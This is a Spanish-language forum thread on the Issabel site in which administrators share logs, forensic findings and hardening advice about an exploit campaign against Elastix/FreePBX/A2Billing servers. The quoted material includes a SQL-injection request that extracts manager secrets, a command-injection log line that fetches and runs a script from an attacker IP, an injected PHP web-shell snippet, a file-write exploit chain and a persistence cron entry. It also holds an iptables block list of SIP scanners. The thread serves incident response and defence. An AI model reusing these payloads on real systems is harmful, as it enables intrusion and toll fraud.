Issabel ISO (Latest): Download Here
Cloud Services: User Portal - Quick Guide
News: Telegram channel
Become a Patron!
  • General
  • Beware: New Elastix 2.5 / 4.0 FreePBX 2.11.0.26 exploit..

striderec Interesante sería un trabajo interno? Habrá que buscar un tiempo para analizarlo.
Saludos.

    Sigo aportando,

    Veo que los intentos ahora apuntan a otros archivos ademas de Messi.php y magnito.php:

    163.172.73.217 - - [29/Jul/2017:18:56:00 -0300] "POST /asterisk/The3Chiefs.php HTTP/1.1" 401 381
    37.75.214.194 - - [29/Jul/2017:00:52:44 -0300] "GET /a2billing/customer/iridium_threed.php?transactionID=0+union+select+1%2C%28select+0x3020756e696f6e2073656c65637420312023%29%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C%28select+manager_secret+from+cc_server_manager+where+id+%3D+1%29%2C%28select+config_value+from+cc_config+where+config_key+%3D+0x6d616e616765725f757365726e616d6520%29 HTTP/1.1" 401 381
    51.15.12.13 - - [27/Jul/2017:15:41:54 -0300] "POST /
    asterisk/V-E-M.php?268e31510577740=id%3Buname+-a%3Bcurl+-ks+http%3A%2F%2F51.15.12.13%2Ft%2Fcmd.txt+%3E+%2Ftmp%2Fa.out+%7C%7C+wget+http%3A%2F%2F51.15.12.13%2Ft%2Fcmd.txt+-O+%2Ftmp%2Fa.out+%7C%7C+GET++http%3A%2F%2F51.15.12.13%2Ft%2Fcmd.txt+%3E+%2Ftmp%2Fa.out%3Bphp+%2Ftmp%2Fa.out%3Brm+%2Ftmp%2Fa.out HTTP/1.1" 401 381

    Que sirva como registro para bloquear todo tipo de tráfico de esas ips

    Saludos!

      Estimados todos, la unica solucion es reinstalar todo de nuevo, creo que es la mejor opcion y mas sano, el resto es perder tiempo y dejar un sistema poco estable,
      La moraleja es decirle a los lcientes no publicar las maquinas a Internet.

      Suerte a todos.

      rleiva los servidores se pueden publicar a Internet sin problemas, sin embargo hay que proteger bien a todos los niveles..

        rleiva Como solución rápida es lo mejor; pero no se esta atacando el problema de raíz y si se ignora no se podrá corregir, lo cual nos haría entrar en un loop infinito.

          Desde luego, la mejor solución es cerrar los puertos en el router. Al cliente, normalmente esto no le molesta, pero es un inconveniente para el mantenimiento. Yo, de momento, lo que estoy haciendo es parar el servicio httpd, cuando necesito acceder me conecto con webmin levanto el servicio httpd y cuando termino lo paro.
          Por otro lado, estoy probando una maquina virtual con doble identificación, es decir, con usuario y password de Apache y de momento no tengo problemas.

            RiveraPer lo único que requieres es la conexión por ssh, la cual puedes proteger deshabilitando el acceso a root, utilizando llaves, cambiando el puerto de escucha, habilitando port knocking e incluso, permitiendo a nivel firewalld/iptables las conexiones desde una IP en particular.. y sobre la misma conexión ssh puedes hacer tuneles para alcanzar los puertos del servidor web (80/443) o cualquier otro que requieras...

            Saludos,
            taVoIP

              rleiva Cuando necesitas hacer cambios urgentes de forma remota en la central o tienes extensiones que se conectan de otros países o extensiones conectadas a softphones en los teléfonos inteligentes como BRIA tienes que publicar el servidor al Internet pero como acaban de escribir aquí, es cuestión de liberar lo que se necesita y bloquear el resto. Además no hay que "reinstalar todo" sólamente lo que especifiqué en un comentario anterior y se resuelve.

                Algo más sobre esto que acabo de descubrir:

                El borrar A2billing con yum erase elastix-a2billing no es suficiente. Deben o entrar a mysql vía línea de comandos y eliminar manualmente la base de datos de A2Billing que el yum no lo hace o si lo quieren más fácil como en mi caso tengan instalado un webmin, luego ir a MySQL DataBase Server y eliminar desde allí a MyA2Billing si no lo usan.

                Para el que le interese también y no pueda borrar A2Billing, si abren la base de datos "mya2billing" verán dos tablas al inicio de la lista que se llaman "awanna000000" y otra más que no me recuerdo pero que empieza con a también... por allí inyectan código así que si ustedes usan A2Billing y tienen magnito.php o Messi.php eliminen esas tablas y refuercen la seguridad HTTP como hgmnetwork explicó al inicio de esta tendencia así como reglas de firewall más estrictas. Lo de reinstalar freePBX se mantiene ya que este proceso borra los scripts php de la interfaz web de FreePBX.

                  Las tablas inyectoras de código en mya2billing son:

                  a_0000000_wanna y a_000_00000

                  Y contienen esta estructura:

                  Field name	Type	        Allow nulls?	Key	         Default value
                  magnitoo	char(255)	No	                 None	<?php if(md5($_REQUEST["p"]) == "clave-encriptada-de-su-servidor-mysql"){shell_exec($_REQUEST["c"]);}/*su-ip-la-ponen-aqui*/ exit(); ?>	

                  Bórrenlas inmediatamente.

                    striderec Este paso es BASICO en mis instalaciones, nos les doy opcion a renegar, obviamente con claves Alfanumericas y caracteres raros me ha funcionado bastante, ahora vero que no he perdido el tiempo siendo paranoico.

                    Salludos

                      striderec Por mi miedo nunca he realizado el procedimiento de extenciones remotas, me podrias decir que tal te va?, hay forma de camiar el puesto por defecto?, ya que eso nunca lo he encontrado y por eso no he realizado lo de extenciones remotas.

                      Para ya no pedir mas, donde podria aprender para hacer lo de extenciones remotas.

                      Saludos.

                        rene-gomez René,

                        La mayoría de mis clientes tienen extensiones remotas porque mis equipos están en un centro de datos y yo ofrezco servicio Cloud o centrales virtualizadas allí y obligatoriamente debo abrir IPs al mundo exterior para que ellos puedan entrar. He tenido mis problemas como todos, intrusos me han robado minutos (no mucho, pero igual) me han hecho cambios en FreePBX, rutas salientes, extensiones fantasma y todo eso pero nada que no se pueda controlar rápidamente.

                        A mi lo que me ha servido es que a nivel de carrier (los proveedores de minutos) sólo tengo abierto a los países a donde mis clientes llaman y el resto bloqueado. También mantengo cuentas prepagadas con ellos y con recargas de $100 en $100 para evitar posibles desfalcos.

                        A nivel de mis centrales pongo marcación con pines de seguridad para llamadas internacionales y también restrinjo los prefijos de marcado. Algo más que hago es abrir SSH y HTTP / HTTPD sólo a las IP fijas del cliente y las mías para el soporte técnico. Para asterisk tengo Fail2Ban porque es más difícil controlar desde donde se conectarán los clientes porque ellos viajan de un lado a otro y generalmente tienen softphones en sus teléfonos inteligentes.

                        Para los clientes con su propia central generalmente les dejo para que desde adentro de su oficina hagan cambios y si tienen oficinas en el extranjero sólo doy paso a las IP fijas de internet de esas oficinas remotas y a nada más...

                          yo personalmente tengo muchos instalados y como comente arriba utilizando simplemente la proteccion htaccess de usuario y clave y el fail2ban y el fsfirewall ( para bloquear paises que no deseamos por ejemplo china y rusia etc) me va genial.

                          sober todo el tema del htaccess que antes de dar acceso a la web te pide que introduzcas esto, yo personalmente utilizo un mismo usuario y clave para mis clientes asi solo ellos y yo lo sabemos y ya con eso los ataques via web los quitas en un 95% ya que sin saber el usuario y clave no pueden ver la web luego de eso tendrian que saber el usuario y clave de issabel que ya si entra alguien asi es porque conoce los datos porque fail2ban bloquearia antes :D

                          De echo creo que indicaron que añadirian la opcion en seguridad de acctivar doble verificacion de acceso con el htaccess algo que me parece estupendo y muy buena idea asi en vez de editar un fichero se podria hacer via web y por defecto puede estar desactivado y quienes queramos dar acceso web o ips publicas podamos protegerlo de esa forma.

                            Pues para extensiones externas, yo ademas de fail2ban que es muy eficaz también utilizo desde hace mucho tiempo una simples reglas en el fireware que, de momento, me han ido muy bien: (ojo, hay que cambiar 'eth0' por la conexión utilizada)
                            iptables --new-chain SIPDDOS
                            #User-Agent: sipcli/v1.8
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "sundayddr" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "sundayddr" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "sipsak" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "sipsak" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "sipvicious" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "sipvicious " --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "friendly-scanner" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "friendly-scanner" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "iWar" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "iWar" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "sip-scan" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "sip-scan" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "sipcli" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "sipcli" --algo bm -j SIPDDOS
                            #iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "eyeBeam" --algo bm -j SIPDDOS
                            #iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "eyeBeam" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "pjsip python" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "pjsip python" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "Custom SIP Phone" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "Custom SIP Phone" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "VaxSIPUserAgent" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "VaxSIPUserAgent" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --dport 5060:5082 -m string --string "sip:nm@nm" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "sip:nm@nm" --algo bm -j SIPDDOS
                            iptables -A INPUT -i eth0 -p tcp --sport 5060:5082 -m string --string "sip:carol@chichago.com" --algo bm -j SIPDDOS

                            #UDP

                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "sundayddr" --algo bm --to 65535 -m comment --comment "deny sundayddr" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "sundayddr" --algo bm --to 65535 -m comment --comment "deny sundayddr" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "sipsak" --algo bm --to 65535 -m comment --comment "deny sipsak" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "sipsak" --algo bm --to 65535 -m comment --comment "deny sipsak" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "sipvicious" --algo bm --to 65535 -m comment --comment "deny sipvicious" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "sipvicious" --algo bm --to 65535 -m comment --comment "deny sipvicious" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "friendly-scanner" --algo bm --to 65535 -m comment --comment "deny friendly-scanner" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "friendly-scanner" --algo bm --to 65535 -m comment --comment "deny friendly-scanner" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "iWar" --algo bm --to 65535 -m comment --comment "deny iWar" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "iWar" --algo bm --to 65535 -m comment --comment "deny iWar" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "sip-scan" --algo bm --to 65535 -m comment --comment "sip-scan" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "sip-scan" --algo bm --to 65535 -m comment --comment "sip-scan" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "sipcli" --algo bm --to 65535 -m comment --comment "deny sip-scan" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "sipcli" --algo bm --to 65535 -m comment --comment "deny sip-scan" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "sipcli/v1.8" --algo bm --to 65535 -m comment --comment "deny sip-scan" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "sipcli/v1.8" --algo bm --to 65535 -m comment --comment "deny sip-scan" -j SIPDDOS
                            #iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "eyeBeam" --algo bm --to 65535 -m comment --comment "deny eyeBeam" -j SIPDDOS
                            #iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "eyeBeam" --algo bm --to 65535 -m comment --comment "deny eyeBeam" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "pjsip python" --algo bm --to 65535 -m comment --comment "deny pjsip python" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "pjsip python" --algo bm --to 65535 -m comment --comment "deny pjsip python" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "Custom SIP Phone" --algo bm --to 65535 -m comment --comment "deny Custom SIP Phone" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "Custom SIP Phone" --algo bm --to 65535 -m comment --comment "deny Custom SIP Phone" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "VaxSIPUserAgent" --algo bm --to 65535 -m comment --comment "deny VaxSIPUserAgent" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "VaxSIPUserAgent" --algo bm --to 65535 -m comment --comment "deny VaxSIPUserAgent" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --sport 5060:5082 -m string --string "sip:nm@nm" --algo bm --to 65535 -m comment --comment "deny sip:nm@nm" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "sip:nm@nm" --algo bm --to 65535 -m comment --comment "deny sip:nm@nm" -j SIPDDOS
                            iptables -A INPUT -i eth0 -p udp --dport 5060:5082 -m string --string "sip:carol@chichago.com" --algo bm --to 65535 -m comment --comment "deny sip:carol@chichago.com" -j SIPDDOS

                            iptables -A SIPDDOS -j LOG --log-prefix "firewall-sipddos: " --log-level 6
                            iptables -A SIPDDOS -j DROP

                            iptables -A INPUT -p udp --sport 53 -m length --length 513: -j DROP
                            iptables -A INPUT -p tcp --sport 53 -m length --length 1025: -j DROP

                              Estimado, muy interesante como complemento de seguridad, donde se buscan esos string?
                              gracias

                                adcnet Estos string forman parte de las cabeceras ip. Estos son los programas que mas se utilizan para atacar el puerto 5060.
                                Antes de incluir esto en iptables, fail2ban me bloqueaba las ip's que intentaban colarse, desde que incluí estas lineas en iptables, fail2ban ya no me detecta ningún ataque.
                                Esto permite tener extensiones externas de una forma baste segura.
                                El problema actual viene en http en los puerto 80 y 443 debido a agujeros de de seguridad, posiblemente de FreePBX ahora Issabel.
                                Por ello también he cerrado el puerto 80 en iptables y me he visto obligado a proteger Apache con password, es decir para conectarme a la web de la PBX primero tengo que poner usuario y password de Apache lo que evita la inserción de código en la url.

                                  Gracias por la explicacion

                                    4 months later

                                    Hola a todos. Por si a alguien le interesa he encontrado el archivo ejecutable que elimina de forma automática tanto algunos archivos PHP provistos por freePBX, como Java archives y .htacces, después de ser vulnerado con el exploit magnito o MesSI.
                                    En mi caso, el ataque fue perpetrado por vulnerabilidades de a2billing en un sistema con elastix 4, freePBX-2.11.0-26, elastix-a2billing 2.2.0-0 sobre CentOS 7.
                                    Como puede verse en este log de apache, fueron incrustados y ejecutados los archivos: asterisk/xyx.php, asterisk/3AZFCL1QVIP8L6I.php, asterisk/magnito.php y asterisk/turkish.php
                                    216.218.206.69 - - [06/Dec/2017:07:34:36 -0600] "GET / HTTP/1.1" 200 5409
                                    212.83.150.38 - - [06/Dec/2017:08:06:26 -0600] "GET /a2billing/common/javascript/misc.js HTTP/1.1" 200 102
                                    162.243.250.164 - - [06/Dec/2017:08:19:32 -0600] "GET / HTTP/1.1" 200 5409
                                    162.243.250.164 - - [06/Dec/2017:08:20:40 -0600] "POST //a2billing/customer/checkout_process.php HTTP/1.1" 200 -
                                    162.243.250.164 - - [06/Dec/2017:08:20:41 -0600] "POST //a2billing/customer/checkout_process.php HTTP/1.1" 200 -
                                    162.243.250.164 - - [06/Dec/2017:08:20:41 -0600] "GET //a2billing/admin/Public/A2B_entity_backup.php?path=/var/www/html/asterisk/xyx.php&form_action=add&name=check HTTP/1.1" 302 -
                                    162.243.250.164 - - [06/Dec/2017:08:20:42 -0600] "GET /a2billing/admin/Public/PP_error.php?c=accessdenied HTTP/1.1" 200 2975
                                    162.243.250.164 - - [06/Dec/2017:08:20:43 -0600] "POST //a2billing/admin/Public/A2B_entity_backup.php HTTP/1.1" 200 11
                                    162.243.250.164 - - [06/Dec/2017:08:20:43 -0600] "POST //
                                    asterisk/xyx.php HTTP/1.1" 200 154194
                                    162.243.250.164 - - [06/Dec/2017:08:20:44 -0600] "POST //asterisk/3AZFCL1QVIP8L6I.php HTTP/1.1" 200 1245
                                    162.243.250.164 - - [06/Dec/2017:08:21:42 -0600] "GET //
                                    asterisk/3AZFCL1QVIP8L6I.php HTTP/1.1" 200 165
                                    162.243.250.164 - - [06/Dec/2017:08:21:42 -0600] "POST //asterisk/3AZFCL1QVIP8L6I.php HTTP/1.1" 200 14
                                    162.243.250.164 - - [06/Dec/2017:08:21:43 -0600] "POST /
                                    asterisk/magnito.php HTTP/1.1" 200 10
                                    162.243.250.164 - - [06/Dec/2017:08:21:43 -0600] "POST /asterisk/magnito.php HTTP/1.1" 200 -
                                    162.243.250.164 - - [06/Dec/2017:08:21:44 -0600] "POST //
                                    asterisk/turkish.php HTTP/1.1" 200 529
                                    Seguí los pasos sugeridos en este foro para salvar la situación:
                                    1.- Desinstalar elastix-a2billing: yum remove elastix-a2billing
                                    2.- Eliminar la base de datos mya2billing: MariaDB [(none)]> drop database mya2billing;
                                    3.- Eliminar el usuario 'a2billinguser': delete from mysql.user where user = 'a2billinguser';
                                    4.- Cambiar las contraseñas del administrador de mysql y las de los usuarios asociados (admin, asterisk y asteriskuser) y actualizar el archivo amportal.conf
                                    5.- Eliminar la carpeta /var/www/html/asterisk con todo su contenido: rm -Rf /var/www/html/asterisk
                                    6.- Limpiar los archivos temporales en /tmp/ : rm -Rf /tmp/*
                                    7.- Reinstalar freePBX: yum reinstall freePBX
                                    8.- Cerrar o proteger el acceso público por https (puerto 443) para evitar nuevas intrusiones

                                    Pero sin embargo, diariamente me encontraba nuevamente con archivos eliminados que estropeaban la GUI web como es descrito en las colaboraciones anteriores de este foro.
                                    Me dí a la tarea de hacer el análisis forense, encontrando lo siguiente:
                                    En la base de datos asterisk, en la tabla cronmanager, me topé con lo siguiente.
                                    En uno de mis equipos, el contenido de dicha tabla era:
                                    MariaDB [asterisk]> select from cronmanager;
                                    +---------------+-----------+------+------+------------+-----------------------------------------------+
                                    | module | id | time | freq | lasttime | command |
                                    +---------------+-----------+------+------+------------+-----------------------------------------------+
                                    | module_admin | UPDATES | 21 | 24 | 1513126261 | /var/lib/asterisk/bin/module_admin listonline |
                                    | system_update | every_day | 1 | 24 | 0 | /tmp/check.system |
                                    +---------------+-----------+------+------+------------+-----------------------------------------------+
                                    para el que no había ya mayor afectación, después de eliminar el contenido de /tmp. Pero en otro equipo, igualmente vulnerado, el campo 'command' era algo diferente:
                                    select
                                    from cronmanager;
                                    +---------------+---------+------+------+------------+-----------------------------------------------+
                                    | module | id | time | freq | lasttime | command |
                                    +---------------+---------+------+------+------------+-----------------------------------------------+
                                    | module_admin | UPDATES | 21 | 24 | 1513120741 | /var/lib/asterisk/bin/module_admin listonline |
                                    | system_update | UPDATES | 0 | 24 | 1513145942 | /var/lib/asterisk/bin/check.system |
                                    +---------------+---------+------+------+------------+-----------------------------------------------+

                                    Y ese, "check.system" es justo el ejecutable maldito que el atacante logró incrustar hasta /var/lib/asterisk/bin/
                                    file check.system

                                    check.system: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=7084322a576c807cdc679afa2aa444b5fd76cbf4, not stripped

                                    Hay que agregar entonces a la lista, un número 9:
                                    9.- Eliminar de cronmanager, el comando para el supuesto módulo 'system_update' : delete from cronmanager where module = 'system_update'; Y desde luego, el ejecutable mismo: rm -f /var/lib/asterisk/bin/check.system

                                    Sólo restaría averiguar, el mecanismo exacto que llevó a incrustar un ejecutable hasta /var/lib/asterisk/bin
                                    ¡Que los desarrolladores tomen nota por favor!

                                    Espero a alguien le sirva. Saludos

                                      En la edición de mi contribución fue eliminado el guión bajo que antecede a la carpeta asterisk (tanto en los logs como cuando hago referencia a su eliminación); cosa que cambia el sentido y puede provocar la ruina total del sistema asterisk.
                                      Creí relevante la aclaración.
                                      ( _asterisk )

                                        Write a Reply...